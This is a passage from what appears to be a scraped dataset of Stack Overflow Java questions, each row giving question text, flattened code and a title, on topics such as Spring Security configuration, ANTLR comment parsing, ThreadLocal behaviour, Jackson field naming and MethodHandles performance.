TraceContextRunnable.runInContext ( TraceContext.java:435 ) at com.google.tracing.TraceContext $ TraceContextRunnable $ 1.run ( TraceContext.java:442 ) at com.google.tracing.CurrentContext.runInContext ( CurrentContext.java:186 ) at com.google.tracing.TraceContext $ AbstractTraceContextCallback.runInInheritedContextNoUnref ( TraceContext.java:306 ) at com.google.tracing.TraceContext $ AbstractTraceContextCallback.runInInheritedContext ( TraceContext.java:298 ) at com.google.tracing.TraceContext $ TraceContextRunnable.run ( TraceContext.java:439 ) at com.google.apphosting.runtime.ThreadGroupPool $ PoolEntry.run ( ThreadGroupPool.java:251 ) at java.lang.Thread.run ( Thread.java:724 ) Caused by : java.lang.StackOverflowErrorat java.util.concurrent.ConcurrentSkipListSet.contains ( ConcurrentSkipListSet.java:214 ) at sun.misc.URLClassPath $ LoaderSearchCursor.nextLoader ( URLClassPath.java:598 ) at sun.misc.URLClassPath.getLoader ( URLClassPath.java:365 ) at sun.misc.URLClassPath.findResource ( URLClassPath.java:213 ) at java.net.URLClassLoader $ 2.run ( URLClassLoader.java:551 ) at java.net.URLClassLoader $ 2.run ( URLClassLoader.java:549 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findResource ( URLClassLoader.java:548 ) at com.google.apphosting.runtime.security.UserClassLoader.findResource ( UserClassLoader.java:723 ) at java.lang.ClassLoader.getResource ( ClassLoader.java:1142 ) at com.google.apphosting.runtime.security.UserClassLoader $ 3.run ( UserClassLoader.java:757 ) at com.google.apphosting.runtime.security.UserClassLoader $ 3.run ( UserClassLoader.java:751 ) at java.security.AccessController.doPrivileged ( Native Method ) at com.google.apphosting.runtime.security.UserClassLoader.findResource ( UserClassLoader.java:751 ) at java.lang.ClassLoader.getResource ( ClassLoader.java:1142 ) at com.google.apphosting.runtime.security.UserClassLoader $ 3.run ( UserClassLoader.java:757 ) at com.google.apphosting.runtime.security.UserClassLoader $ 3.run ( UserClassLoader.java:751 ) at java.security.AccessController.doPrivileged ( Native Method ) at com.google.apphosting.runtime.security.UserClassLoader.findResource ( UserClassLoader.java:751 ) at java.lang.ClassLoader.getResource ( ClassLoader.java:1142 ) at com.google.apphosting.runtime.security.UserClassLoader $ 3.run ( UserClassLoader.java:757 ) at com.google.apphosting.runtime.security.UserClassLoader $ 3.run ( UserClassLoader.java:751 ) at java.security.AccessController.doPrivileged ( Native Method ) at com.google.apphosting.runtime.security.UserClassLoader.findResource ( UserClassLoader.java:751 ) at java.lang.ClassLoader.getResource ( ClassLoader.java:1142 ) ...,Using Spring AOP on App Engine causes StackOverflowError +Java,"I 'm using some UIMA annotators in a pipeline . It run tasks like : tokenizer sentence splittergazetizerMy Annotator The problem is that I do n't want to write ALL the annotations ( Token , Sentence , SubToken , Time , myAnnotations , etc.. ) to the disk because the files gets very large quicky . I want to remove all the annotations and keep only the created by My Annotator.I 'm working with the next libraries : uimaFIT 2.0.0ClearTK 1.4.1MavenAnd I 'm using a org.apache.uima.fit.pipeline.SimplePipeline with : What I 'm trying to do is to use the Standford NLP annotator ( from ClearTK ) and remove the useless annotation.How do I do this ? From what I know , you can use the removeFromIndexes ( ) ; method from with an Annotation instance.Do I need to create an UIMA processor and add it to my pipeline ?","SimplePipeline.runPipeline ( UriCollectionReader.getCollectionReaderFromDirectory ( filesDirectory ) , //directory with text files UriToDocumentTextAnnotator.getDescription ( ) , StanfordCoreNLPAnnotator.getDescription ( ) , //stanford tokenize , ssplit , pos , lemma , ner , parse , dcoref AnalysisEngineFactory.createEngineDescription ( // XWriter.class , XWriter.PARAM_OUTPUT_DIRECTORY_NAME , outputDirectory , XWriter.PARAM_FILE_NAMER_CLASS_NAME , ViewURIFileNamer.class.getName ( ) ) ) ;",How to remove UIMA annotations ? +Java,I am following this tutorial to use Spring Security . I would like to use Hibernate for database queries . I configured the code but following exception is thrown . I defined the bean in spring-security.xml and my-servlet.xml but still no result . MemberRepositoryMyMemberDetailsServicemy-servlet.xmlspring-security.xml,"Caused by : org.springframework.beans.factory.NoSuchBeanDefinitionException : No bean named 'myMemberDetailsService ' is defined at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeanDefinition ( DefaultListableBeanFactory.java:570 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getMergedLocalBeanDefinition ( AbstractBeanFactory.java:1114 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:279 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:194 ) at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference ( BeanDefinitionValueResolver.java:320 ) ... 93 more public class MemberRepositoryImpl implements MemberRepository { SessionFactory sessionFactory ; @ SuppressWarnings ( `` unchecked '' ) @ Override public Member findByUserName ( String username ) { List < Member > members = new ArrayList < Member > ( ) ; members = sessionFactory.getCurrentSession ( ) .createQuery ( `` from Member where username= ? '' ) .setParameter ( 0 , username ) .list ( ) ; if ( members.size ( ) > 0 ) { return members.get ( 0 ) ; } else { return null ; } } } public class MyMemberDetailsService implements UserDetailsService { private MemberRepository memberRep ; @ Override public UserDetails loadUserByUsername ( final String username ) throws UsernameNotFoundException { Member member = memberRep.findByUserName ( username ) ; HashSet < String > roles = new HashSet < String > ( ) ; roles.add ( `` ROLE_MEMBER '' ) ; List < GrantedAuthority > authorities = buildUserAuthority ( roles ) ; return buildUserForAuthentication ( member , authorities ) ; } // Converts com.mkyong.users.model.User user to // org.springframework.security.core.userdetails.User private User buildUserForAuthentication ( Member member , List < GrantedAuthority > authorities ) { return new User ( member.getUsername ( ) , member.getPassword ( ) , member.isEnabled ( ) , true , true , true , authorities ) ; } private List < GrantedAuthority > buildUserAuthority ( Set < String > userRoles ) { Set < GrantedAuthority > setAuths = new HashSet < GrantedAuthority > ( ) ; // Build user 's authorities for ( String userRole : userRoles ) { setAuths.add ( new SimpleGrantedAuthority ( userRole ) ) ; } List < GrantedAuthority > Result = new ArrayList < GrantedAuthority > ( setAuths ) ; return Result ; } } < beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns : aop= '' http : //www.springframework.org/schema/aop '' xmlns : context= '' http : //www.springframework.org/schema/context '' xmlns : tx= '' http : //www.springframework.org/schema/tx '' xmlns : mvc= '' http : //www.springframework.org/schema/mvc '' xsi : schemaLocation= '' http : /www.springframework.org/schema/beans http : /www.springframework.org/schema/beans/spring-beans-3.0.xsd http : /www.springframework.org/schema/aop http : /www.springframework.org/schema/aop/spring-aop-3.0.xsd http : /www.springframework.org/schema/tx http : /www.springframework.org/schema/tx/spring-tx-3.0.xsd http : /www.springframework.org/schema/context http : /www.springframework.org/schema/mvc '' > < context : annotation-config / > < mvc : annotation-driven / > < mvc : view-controller path= '' /index '' / > < mvc : view-controller path= '' / '' view-name= '' index '' / > < mvc : view-controller path= '' /signin '' / > < mvc : resources mapping= '' resources/** '' location= '' resources/ '' / > < context : component-scan base-package= '' com.myProject '' / > < bean id= '' restTemplate '' class= '' org.springframework.web.client.RestTemplate '' / > < bean id= '' viewResolver '' class= '' org.springframework.web.servlet.view.tiles3.TilesViewResolver '' / > < bean id= '' tilesConfigurer '' class= '' org.springframework.web.servlet.view.tiles3.TilesConfigurer '' > < property name= '' definitions '' > < list > < value > /WEB-INF/tiles.xml < /value > < /list > < /property > < /bean > < bean id= '' memberRep '' class= '' com.myProject.repository.MemberRepositoryImpl '' > < property name= '' sessionFactory '' ref= '' sessionFactory '' / > < /bean > < bean id= '' myMemberDetailsService '' class= '' com.myProject.service.MyMemberDetailsService '' > < property name= '' memberRep '' ref= '' memberRep '' / > < /bean > < ! -- Hibernate Config -- > < bean id= '' dataSource '' class= '' org.apache.commons.dbcp2.BasicDataSource '' destroy-method= '' close '' > < property name= '' driverClassName '' value= '' com.mysql.jdbc.Driver '' / > < property name= '' url '' value= '' jdbc : mysql : //localhost:8889/myProject '' / > < property name= '' username '' value= '' jack '' / > < property name= '' password '' value= '' jack '' / > < /bean > < bean id= '' sessionFactory '' class= '' org.springframework.orm.hibernate4.LocalSessionFactoryBean '' depends-on= '' dataSource '' > < property name= '' dataSource '' ref= '' dataSource '' / > < property name= '' packagesToScan '' value= '' com.myProject.model '' / > < property name= '' hibernateProperties '' > < props > < prop key= '' hibernate.dialect '' > org.hibernate.dialect.MySQLDialect < /prop > < prop key= '' hibernate.format_sql '' > true < /prop > < prop key= '' hibernate.use_sql_comments '' > true < /prop > < prop key= '' hibernate.show_sql '' > true < /prop > < prop key= '' hibernate.hbm2ddl.auto '' > update < /prop > < /props > < /property > < /bean > < bean id= '' transactionManager '' class= '' org.springframework.orm.hibernate4.HibernateTransactionManager '' > < property name= '' sessionFactory '' ref= '' sessionFactory '' > < /property > < /bean > < tx : advice id= '' txAdvice '' transaction-manager= '' transactionManager '' > < tx : attributes > < tx : method name= '' get* '' read-only= '' true '' / > < tx : method name= '' find* '' read-only= '' true '' / > < tx : method name= '' * '' / > < /tx : attributes > < /tx : advice > < aop : config > < aop : pointcut id= '' userServicePointCut '' expression= '' execution ( * com.myProject.service.*Service.* ( .. ) ) '' / > < aop : advisor advice-ref= '' txAdvice '' pointcut-ref= '' userServicePointCut '' / > < /aop : config > < ! -- End Hibernate Config -- > < /beans > < beans : beans xmlns= '' http : //www.springframework.org/schema/security '' xmlns : beans= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans-3.0.xsd http : //www.springframework.org/schema/security http : //www.springframework.org/schema/security/spring-security-3.2.xsd '' > < beans : import resource='login-service.xml ' / > < http auto-config= '' true '' use-expressions= '' true '' > < intercept-url pattern= '' / '' access= '' permitAll '' / > < intercept-url pattern= '' /member** '' access= '' hasRole ( 'ROLE_MEMBER ' ) '' / > < intercept-url pattern= '' /signin '' access= '' permitAll '' / > < access-denied-handler error-page= '' /403 '' / > < form-login login-page= '' /signin '' default-target-url= '' /index '' authentication-failure-url= '' /signin ? error '' username-parameter= '' username '' password-parameter= '' password '' / > < logout logout-success-url= '' /login ? logout '' / > < ! -- enable csrf protection -- > < csrf / > < /http > < authentication-manager > < authentication-provider user-service-ref= '' myMemberDetailsService '' > < password-encoder hash= '' bcrypt '' / > < /authentication-provider > < /authentication-manager > < /beans : beans >",Spring throws exception for undefined bean +Java,"I have an inner class , which extends AbstractTableModel.The compiler gives me the following error.When changing to everything works fine.I use Gradle for building the project . Before I switched to Gradle , I used Eclipse to build the project . I did n't have the problem with Eclipse , the error only occurs , if I build with Gradle.Do you have an idea what could be the reason for that strange behavior ?",import javax.swing.table.AbstractTableModel ; public class MyClass extends MyAbstractClass { ... public static class MyTableModel extends AbstractTableModel { } ... } ... \MyClass.java:190 : error : can not find symbol public static class MyTableModel extends AbstractTableModel { ^ symbol : class AbstractTableModel location : class MyClass MyTableModel extends AbstractTableModel MyTableModel extends javax.swing.table.AbstractTableModel,import - > ' can not find symbol ' | fully qualified name - > perfect +Java,"I am in a very particular situation with one of the classes I 'm coding . I have this class called User that looks like this : Within my code there are several situations where I just need an empty object of the type User and therefore just build it using the default constructor : new User ( ) .However , I have another class called CreateUserRequest which models a REST request to create the user in a server . The minimum payload must contain the name , password , email , and authenticationRealm attributes sent in JSON format.Right now I am handling this by checking for these parameters in the constructor of the request : This is working OK but something is itchy ... I would like to enforce this in a safer way , so that the code would enforce the attributes to be populated with no possibility of an exception being thrown.I feel like there must be a better way to do this with a design pattern . I thought of creating a UserRequestBuilder class , but that would also possibly imply throwing an exception in the build ( ) method ( otherwise , is there a way I can guarantee that the attributes are populated before build ( ) ? ) . Dependency injection also sounds like a possibility , but I 'm not sure how I would put it in place in this particular example ... Any thoughts ?","public class User { private long id ; // + getters and setters private boolean isDeletable ; // + getters and setters private String name ; // + getters and setters private String password ; // + getters and setters private String email ; // + getters and setters private String authenticationRealm ; // + getters and setters private String displayName ; // + getters and setters private Date deletedDate ; // + getters and setters } public CreateUserRequest ( User user ) { if ( user.getName ( ) == null || user.getPassword ( ) == null || user.getEmail ( ) == null || user.getAuthenticationRealm ( ) == null ) throw new RuntimeException ( `` Not enough attributes in User object . Minimum : name , password , e-mail and authentication realm . `` ) ; }","Design patterns - How to enforce object attributes only in some situations ( Builder pattern , Dependency Injection )" +Java,"I have a spring-boot application . When I start run it Tomcat 8.0_35 in my intellij IDE I have no issues , looks great . I decided to deploy in on my VPS and only the HTML renders . I replicated this issue on my localhost by manually dropping the .war file into webapps . Since I was getting all 404 errors I thought maybe I need to set up a webconfig class : I needed the ServletContextTemplateResolver because I am using spring-mobile and I was having issues rendering my pages.I am not seeing anything in the logs on tomcat either localhost.log and cataline.logAll my JS , and CSS file are found in my IDE and everything seems to be configured correctly . I am not sure what to try next . I have been debugging this for days with no luck.I uploaded it on git at https : //github.com/drewjocham/financialAny advice would be greatly appreciated.Only thing the logs are complaining about is a few jar files : in my logging.properties I added the following : After doing some research but that does n't seem to work . However I do not think this could be the issue .","@ Configurationpublic class WebConfiguration extends WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter { private static final Logger log = Logger.getLogger ( WebMvcAutoConfiguration.class ) ; @ Override public void addResourceHandlers ( ResourceHandlerRegistry registry ) { registry.setOrder ( Ordered.HIGHEST_PRECEDENCE ) ; registry.addResourceHandler ( `` /css/** '' ) .addResourceLocations ( `` /resources/css/ '' ) ; registry.addResourceHandler ( `` /image/** '' ) .addResourceLocations ( `` /resources/image/ '' ) ; registry.addResourceHandler ( `` /images/** '' ) .addResourceLocations ( `` /resources/images/ '' ) ; registry.addResourceHandler ( `` /javascripts/** '' ) .addResourceLocations ( `` /resources/javascripts/ '' ) ; registry.addResourceHandler ( `` /libs/** '' ) .addResourceLocations ( `` /resources/lib/ '' ) ; } @ Override public void configureDefaultServletHandling ( DefaultServletHandlerConfigurer configurer ) { configurer.enable ( ) ; } @ Bean public DispatcherServlet dispatcherServlet ( ) { DispatcherServlet dispatcherServlet = new DispatcherServlet ( ) ; dispatcherServlet.setThrowExceptionIfNoHandlerFound ( true ) ; return dispatcherServlet ; } @ Bean public ServletContextTemplateResolver templateResolver ( ) { ServletContextTemplateResolver resolver = new ServletContextTemplateResolver ( ) ; resolver.setPrefix ( `` /WEB-INF/ '' ) ; resolver.setSuffix ( `` .html '' ) ; resolver.setTemplateMode ( `` HTML5 '' ) ; resolver.setOrder ( 1 ) ; return resolver ; } } @ SpringBootApplicationpublic class StidhamFinancialApplication extends SpringBootServletInitializer { public static void main ( String [ ] args ) throws UnknownHostException { SpringApplication app = new SpringApplication ( StidhamFinancialApplication.class ) ; Environment env = app.run ( args ) .getEnvironment ( ) ; System.out.println ( String.format ( `` Access URLs : \n -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n\t '' + `` Local : \t\thttp : //127.0.0.1 : % 1s\n\t '' + `` External : \thttp : // % 2s : % 3s\n -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- '' , env.getProperty ( `` server.port '' ) , InetAddress.getLocalHost ( ) .getHostAddress ( ) , env.getProperty ( `` server.port '' ) ) ) ; } @ Override protected SpringApplicationBuilder configure ( SpringApplicationBuilder builder ) { return builder.sources ( StidhamFinancialApplication.class ) ; } } org.apache.jasper.servlet.TldScanner $ TldScannerCallback.scan No TLD files were found in [ file : /Library/apache-tomcat-8.0.35/webapps/stidhamfinancial/WEB-INF/lib/jandex-1.1.0.Final.jar ] . Consider adding the JAR to the tomcat.util.scan.StandardJarScanFilter.jarsToSkip property in CATALINA_BASE/conf/catalina.properties file . org.apache.jasper.compiler.TldLocationsCache.level = FINEorg.apache.catalina.startup.TldConfig.jarsToSkip=antlr-2.7.7.jarorg.apache.catalina.startup.TldConfig.jarsToSkip=spring-boot-1.3.5.RELEASE.jarorg.apache.catalina.startup.TldConfig.jarsToSkip=groovy-2.4.6.jarorg.apache.catalina.startup.TldConfig.jarsToSkip=javassist-3.18.1-GA.jarorg.apache.catalina.startup.TldConfig.jarsToSkip=aopalliance-1.0.jar",Deploying .war file to tomcat 8 works fine in IDE but I lose all my JS and CSS when I deploy to my VPS +Java,"At my job we have a DSL for specfying mathematical formulas , that we later apply to a lot of points ( in the millions ) .As of today , we build an AST of the formula , and visit each node to produce what we call an `` Evaluator '' . We then pass that evaluator the arguments of the formula , and for each point it does the computing.For instance , we have that formula : x * ( 3 + y ) Our evaluator will emit `` Evaluate '' objects for each step.This method is easy to program , but not very efficient . So I started looking into method handles to build up a `` composed '' method handle to speed things up lately . Something along this : I have my `` Arithmetic '' class with : And when building my AST I use MethodHandles.lookup ( ) to directly get a handle on those and compose them . Something along these lines , but in a tree : Sadly , I 'm quite disapointed by the results . For instance , the actual construction of the method handle is very long ( due to calls to MethodHandles : :insertArguments and other such compositions functions ) , and the added speedup for evaluation only starts to make a difference after over 600k iterations.At 10M iterations , the Method handle starts to really shine , but millions of iterations is not ( yet ? ) a typical use case . We are more around 10k-1M , where the result is mixed.Also , the actual computation is sped up , but by not so much ( ~2-10 times ) . I was expecting the thing to run a bit faster..So anyway , I started scouring StackOverflow again , and saw the LambdaMetafactory threads like these : https : //stackoverflow.com/a/19563000/389405And I 'm itching to start trying this . But before that , I 'd like your input on some questions : I need to be able to compose all those lambdas . MethodHandles provides lots of ( slowish , admitedly ) ways to do it , but I feel like lambdas have a stricter `` interface '' , and I ca n't yet wrap my head on how to do that . Do you know how ? lambdas and method handles are quite interconnected , and I 'm not sure that I will get a significant speedup . I see these results for simple lambdas : direct : 0,02s , lambda : 0,02s , mh : 0,35s , reflection : 0,40 but what about composed lambdas ? Thanks guys !","┌────┐ ┌─────┤mult├─────┐ │ └────┘ │ │ │ ┌──v──┐ ┌──v──┐ │ x │ ┌───┤ add ├──┐ └─────┘ │ └─────┘ │ │ │ ┌──v──┐ ┌──v──┐ │ 3 │ │ y │ └─────┘ └─────┘ public class Arithmetics { public static double add ( double a , double b ) { return a+b ; } public static double mult ( double a , double b ) { return a*b ; } } Method add = ArithmeticOperator.class.getDeclaredMethod ( `` add '' , double.class , double.class ) ; Method mult = ArithmeticOperator.class.getDeclaredMethod ( `` mult '' , double.class , double.class ) ; MethodHandle mh_add = lookup.unreflect ( add ) ; MethodHandle mh_mult = lookup.unreflect ( mult ) ; MethodHandle mh_add_3 = MethodHandles.insertArguments ( mh_add , 3 , plus_arg ) ; MethodHandle formula = MethodHandles.collectArguments ( mh_mult , 1 , mh_add_3 ) ; // formula is f ( x , y ) = x * ( 3 + y )",MethodHandles or LambdaMetafactory ? +Java,"My code runs successfully when tested within the Eclipse IDE.I 'm connecting to MS SharePoint 2010 via Web Services using the generated Copy.wsdl When I deploy my code on the JBoss server ( Running Adobe LifeCycle ) my code receives a 401 Error.Error : Now if I purposely use the wrong login via the IDE I get this error : Update : So after more research it turns out J2EE support , well lack of , with NTLM is the cause . I 've tried several solutions to no avail as of yet . Code : Authenticator Get SOAPCall to upload file :","Caused by : org.jboss.ws.WSException : Invalid HTTP server response [ 401 ] - Unauthorizedat org.jboss.ws.core.soap.SOAPMessageUnMarshallerHTTP.read ( SOAPMessageUnMarshallerHTTP.java:75 ) at org.jboss.remoting.transport.http.HTTPClientInvoker.readResponse ( HTTPClientInvoker.java:608 ) at org.jboss.remoting.transport.http.HTTPClientInvoker.useHttpURLConnection ( HTTPClientInvoker.java:402 ) at org.jboss.remoting.transport.http.HTTPClientInvoker.makeInvocation ( HTTPClientInvoker.java:253 ) ... 156 more com.sun.xml.internal.ws.client.ClientTransportException : The server sent HTTP status code 401 : Unauthorized protected void initialize ( String username , String password ) throws Exception { System.out.println ( `` initialize ( ) ... '' ) ; java.net.CookieManager cm = new java.net.CookieManager ( ) ; java.net.CookieHandler.setDefault ( cm ) ; Authenticator.setDefault ( new SharepointAuthenticator ( username , password ) ) ; } public class SharepointAuthenticator extends Authenticator { private String username = `` '' ; private String password = `` '' ; public SharepointAuthenticator ( String username , String password ) { this.username = username ; this.password = password ; System.out.println ( `` Initializing Authentication '' ) ; } @ Overridepublic PasswordAuthentication getPasswordAuthentication ( ) { return new PasswordAuthentication ( username , password.toCharArray ( ) ) ; } } protected CopySoap getCopySoap ( String username , String password , String wsdl , String endpoint ) throws Exception { System.out.println ( `` Creating a CopySoap instance ... '' ) ; Thread.currentThread ( ) .setContextClassLoader ( getClass ( ) .getClassLoader ( ) ) ; Copy service = new Copy ( new URL ( wsdl ) , new QName ( `` http : //schemas.microsoft.com/sharepoint/soap/ '' , `` Copy '' ) ) ; System.out.println ( `` CopySoap 2 '' ) ; CopySoap copySoap = service.getCopySoap ( ) ; System.out.println ( endpoint + `` \n '' + wsdl ) ; BindingProvider bp = ( BindingProvider ) copySoap ; bp.getRequestContext ( ) .put ( BindingProvider.USERNAME_PROPERTY , username ) ; bp.getRequestContext ( ) .put ( BindingProvider.PASSWORD_PROPERTY , password ) ; bp.getRequestContext ( ) .put ( BindingProvider.ENDPOINT_ADDRESS_PROPERTY , endpoint ) ; return copySoap ; } // make the call to upload port.copyIntoItems ( `` null '' , destinationUrlCollection , metadata , byteArray , longHolder , resultHolder ) ;",Java JBoss 401 Error on SharePoint 2010 Web Service +Java,"Using Jackson to convert a Java object to JSON the result is that the field `` participants '' ( which is part of the object instance ) gets renamed to `` participantsList '' i.e . `` List '' is appended to the field name . I went through the Jackson documentation but have n't found a way to prevent this from happening . Is this possible ? Testing the above code in a standalone project does not cause the same result ( i.e . no renaming takes place ) . Why is Jackson behaving like this ? Unfortunately , the object is third party and I can not change it.Using Jackson version 2.3.3 ( same behaviour verified with 2.9.0 ) .",ObjectMapper mapper = new ObjectMapper ( ) ; mapper.setSerializationInclusion ( Include.NON_NULL ) ; jsonMessage = mapper.writeValueAsString ( object ) ; participants Arrays $ ArrayList < E > participantsList '' : [ { `` userId '' : '' c1f9c '' } ],Jackson Java to JSON object mapper modifies field 's name +Java,"In Javascript world ( especially in React apps ) I 've seen expressions like [ 2 ] . However , in Java this is not so popular.1.The outcome of [ 1 ] and [ 2 ] is identical as the statement ( ) is not going to be evaluated if isValid == false.Why syntax like [ 2 ] not popular ? I mean , I literally never encounter this before in any Java project I 've seen.Are there any implications of approach [ 2 ] ? Is it considered to be harmful ? Are there any surprises I might come along using this as the alternative for simple if statements ? Does it decrease readability ? Edit : I was testing this in Groovy console . I guess it invalidates this question quite much . Thanks for your responses anyways .",if ( isValid ) { statement ( ) ; } isValid & & statement ( ) ;,Why 'condition & & statement ( ) ' is not popular in Java world ? +Java,"I was checking a post that wanted to know how to use Comparator and a Orange fruit to be first all the time . From the post toString method was missing so I added to my codeThe given answer to the post was use Collection.sortoutput : I was thinking why not Arrays.parallelSort which I have been told good stuff aboutread more here using Arrays.parallelSort codeoutput : The link to the post is here To me sorting is sorting , why different answer form different method ?","@ Overridepublic String toString ( ) { return fruitName + '' `` + fruitDesc ; } Collections.sort ( fruits , new Comparator < Fruit > ( ) { @ Override public int compare ( Fruit o1 , Fruit o2 ) { if ( o1.getFruitName ( ) ! = null & & o1.getFruitName ( ) .equalsIgnoreCase ( `` orange '' ) ) { return -1 ; } if ( o2.getFruitName ( ) ! = null & & o2.getFruitName ( ) .equalsIgnoreCase ( `` orange '' ) ) { return 1 ; } return o1.getFruitName ( ) .compareTo ( o2.getFruitName ( ) ) ; } } ) ; Orange Orange descriptionApple Apple descriptionBanana Banana descriptionPineapple Pineapple description Fruit [ ] arrayFruits = fruits.stream ( ) .toArray ( Fruit [ ] : :new ) ; Arrays.parallelSort ( arrayFruits , ( Fruit o1 , Fruit o2 ) - > { if ( o1.getFruitName ( ) ! = null & & o1.getFruitName ( ) .equalsIgnoreCase ( `` orange '' ) ) { return -1 ; } if ( o2.getFruitName ( ) ! = null & & o2.getFruitName ( ) .equalsIgnoreCase ( `` orange '' ) ) { return 1 ; } return o1.getFruitName ( ) .compareTo ( o2.getFruitName ( ) ) ; } ) ; Pineapple Pineapple descriptionApple Apple descriptionOrange Orange descriptionBanana Banana description",Arrays.parallelSort vs Collections.sort +Java,As it is stated the == operator compares object references to check if they are referring to the same object on a heap . If so why am I getting the `` Equal '' for this piece of code ?,public class Salmon { public static void main ( String [ ] args ) { String str1 = `` Str1 '' ; String str2 = `` Str1 '' ; if ( str1 == str2 ) { System.out.println ( `` Equal '' ) ; } else { System.out.println ( `` Not equal '' ) ; } } },"If == compares references in Java , why does it evaluate to true with these Strings ?" +Java,"Is there a way to generate BPEL programmatically in Java ? I tried using the BPEL Eclipse Designer API to write this code : but I received an error : INamespaceMap can not be attached to an eObject ... I read this message by Simon : I understand that using the BPEL model outside of eclipse might be desirable , but it was never intended by us . Thus , this is n't supportedIs there any other API that can help ?","Process process = null ; try { Resource.Factory.Registry reg =Resource.Factory.Registry.INSTANCE ; Map < String , Object > m = reg.getExtensionToFactoryMap ( ) ; m.put ( `` bpel '' , new BPELResourceFactoryImpl ( ) ) ; //it works with XMLResourceFactoryImpl ( ) //create resource URI uri =URI.createFileURI ( `` myBPEL2.bpel '' ) ; ResourceSet rSet = new ResourceSetImpl ( ) ; Resource bpelResource = rSet.createResource ( uri ) ; //create/populate process process = BPELFactory.eINSTANCE.createProcess ( ) ; process.setName ( `` myBPEL '' ) ; Sequence mySeq = BPELFactory.eINSTANCE.createSequence ( ) ; mySeq.setName ( `` mainSequence '' ) ; process.setActivity ( mySeq ) ; //save resource bpelResource.getContents ( ) .add ( process ) ; Map < String , String > map= new HashMap < String , String > ( ) ; map.put ( `` bpel '' , `` http : //docs.oasis-open.org/wsbpel/2.0/process/executable '' ) ; map.put ( `` tns '' , `` http : //matrix.bpelprocess '' ) ; map.put ( `` xsd '' , `` http : //www.w3.org/2001/XMLSchema '' ) ; bpelResource.save ( map ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } }",Generating BPEL files programmatically ? +Java,"I 've been reading about ThreadLocal , trying to understand how it works and why we need it.So far what I 've been able to learn is the following : ThreadLocal class allows to hold 1 instance of an object at the thread levelThe instance is created by overriding initialValue ( ) The instance is actually stored in the each thread 's HashMap A common sense usage example can be found hereAll seemed fine , until I tried to run the example from the javadoc , the code is provided as following : If I understand this code correctly , calling getCurrentThreadId ( ) should return the correct auto incremented thread number , alas it returns 0 for me . ALWAYS 0 , without consideration of how many threads I have started.To get this working for me I had to change getCurrentThreadId ( ) to readIn which case I am getting correct values.My code is provided below , what am I missing ? ( It 's not that the javadoc is actually wrong , right ? ? ) Output : p.s . Code comments OT or to the point are welcome in comments .","import java.util.concurrent.atomic.AtomicInteger ; public class UniqueThreadIdGenerator { private static final AtomicInteger uniqueId = new AtomicInteger ( 0 ) ; private static final ThreadLocal < Integer > uniqueNum = new ThreadLocal < Integer > ( ) { @ Override protected Integer initialValue ( ) { return uniqueId.getAndIncrement ( ) ; } } ; public static int getCurrentThreadId ( ) { return uniqueId.get ( ) ; } } // UniqueThreadIdGenerator public static int getCurrentThreadId ( ) { return uniqueId.get ( ) ; } package org.vekslers ; import java.util.concurrent.TimeUnit ; import java.util.concurrent.atomic.AtomicInteger ; public class UniqueThreadIdGenerator extends Thread { private static final AtomicInteger uniqueId = new AtomicInteger ( 0 ) ; private static final ThreadLocal < Integer > uniqueNum = new ThreadLocal < Integer > ( ) { @ Override protected Integer initialValue ( ) { return uniqueId.getAndIncrement ( ) ; } } ; public static int getCurrentThreadId ( ) { return uniqueNum.get ( ) ; } ////////////////////////////////////////////////// // Testing code ... ////////////////////////////////////////////////// private static volatile boolean halt = false ; public UniqueThreadIdGenerator ( String threadName ) { super ( threadName ) ; } @ Override public void run ( ) { System.out.println ( Thread.currentThread ( ) + `` PREHALT `` + getCurrentThreadId ( ) ) ; while ( ! halt ) try { TimeUnit.SECONDS.sleep ( 1 ) ; } catch ( InterruptedException e ) { } System.out.println ( Thread.currentThread ( ) + `` POSTHALT `` + getCurrentThreadId ( ) ) ; } public static void main ( String [ ] args ) throws InterruptedException { Thread t1 = new UniqueThreadIdGenerator ( `` t1 '' ) ; Thread t2 = new UniqueThreadIdGenerator ( `` t2 '' ) ; Thread t3 = new UniqueThreadIdGenerator ( `` t3 '' ) ; Thread t4 = new UniqueThreadIdGenerator ( `` t4 '' ) ; t3.start ( ) ; t1.start ( ) ; t2.start ( ) ; t4.start ( ) ; TimeUnit.SECONDS.sleep ( 10 ) ; halt = true ; } } // UniqueThreadIdGenerator Thread [ t3,5 , main ] PREHALT 0Thread [ t1,5 , main ] PREHALT 1Thread [ t2,5 , main ] PREHALT 2Thread [ t4,5 , main ] PREHALT 3Thread [ t4,5 , main ] POSTHALT 3Thread [ t2,5 , main ] POSTHALT 2Thread [ t1,5 , main ] POSTHALT 1Thread [ t3,5 , main ] POSTHALT 0",ThreadLocal pondering ( Or : Is sun 's javadoc wrong ? ) +Java,"I wrote a grammar for a small language which understands C-style single line comments , eg . Here is a fragment of the grammar I wrote for this language , using antlr v3.0.1This pretty much kind of works , except that when the comment is last in the script and there is no terminating NL/CR , I got an annoying message from antlr ( at runtime ) : How can I get rid of this message ? I tried adding EOF token to the ( .. ) + expression but this does not work .",// this is a comment SINGLELINE_COMMENT : '/ ' '/ ' ( options { greedy=false ; } : ~ ( '\r ' | '\n ' ) ) * ( '\r ' | '\n ' ) + { $ channel=HIDDEN ; } ; WS : ( ' '|'\r'|'\t'|'\u000C'|'\n ' ) + { $ channel=HIDDEN ; } ; line 1:20 required ( ... ) + loop did not match anything at character ' < EOF > ',Parsing single-line C-style comments with Antlr +Java,"I have below class structures in my project for class A and class B : Also we have a cache class : Now objects for class A and B are created using unique IDs and put in this cache by < id , object > combination . For example : Also I am putting class B objects in the List < B > inside objects a1 and a2 . 